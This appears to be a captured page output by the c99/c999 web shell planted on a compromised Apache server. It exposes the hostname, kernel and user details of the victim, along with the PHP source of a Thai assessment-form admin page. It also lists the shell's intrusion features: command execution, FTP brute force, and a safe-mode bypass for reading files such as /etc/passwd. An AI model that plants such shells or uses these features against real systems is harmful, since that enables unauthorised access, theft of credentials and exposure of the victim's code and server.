!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editMainQuestionTQ.php (3.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsConnection.php";
include_once 
"../class/clsTextQuestion.php";
?> 
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<form name="FormEditMainQuestionTQ" method="post" action="processTextQuestion.php">
<br>
<table  width=90%  align=center>
<tr><td>
<fieldset>
<legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="showListAss.php">รายการแบบประเมิน</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="createForm.php?assid=<? echo $assid ?>">สร้างฟอร์มแบบประเมิน</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">แก้ไขคำถาม</font></legend>
        <p> 

<?
$oC 
= new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

/*-----สร้าง oTQ เพื่อหา nameTQ จากตาราง TextQuestion-----*/ 
$oTQ = new TextQuestion($oC);
$oTQ->RSSearchTQByKey($assid,$TQid,$sectionTQid);
$oTQ->GetRecord();
?>
<br>
    <input type="hidden" name="method" value="edit">
    <input type="hidden" name="assid" value="<?=$assid?>">
    <input type="hidden" name="TQid" value="<?=$oTQ->TQid?>">
    <input type="hidden" name="sectionTQid" value="<?=$oTQ->sectionTQid?>">
    <input type="hidden" name="sequence" value="<?=$oTQ->sequence?>">
        <table width="455" border="0" align="center">
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td height="22" colspan="3" class="colinput1"> <div align="center"><strong> <u>ส่วนที่ 
                <? echo $indexSeq?></u></strong> : แก้ไขคำถามชนิดปลายเปิด </div></td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td width="115" class="colinput4"><div align="center">คำถาม <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">*</font></div></td>
            <td width="330" colspan="2"> <textarea name="nameTQ" cols="50" rows="4"><?=$oTQ->nameTQ;?></textarea></td>
          </tr>
          <tr>
            <td colspan="3"> <br><div align="center">
                <input type="submit" name="add" value="บันทึก" onClick="return checkFormat()">
                <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'createForm.php?assid=<? echo $assid ?>'">
              </div></td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
        </table>
        </fieldset><br><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font>
    </td></tr>
</table>
</form>
<? showFooter(); ?>

<script language="javascript">
function checkFormat(){
    if(document.FormEditMainQuestionTQ.nameTQ.value==""){
        alert("กรุณากรอกคำถาม !");
        return false;
    }
}
</script>



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--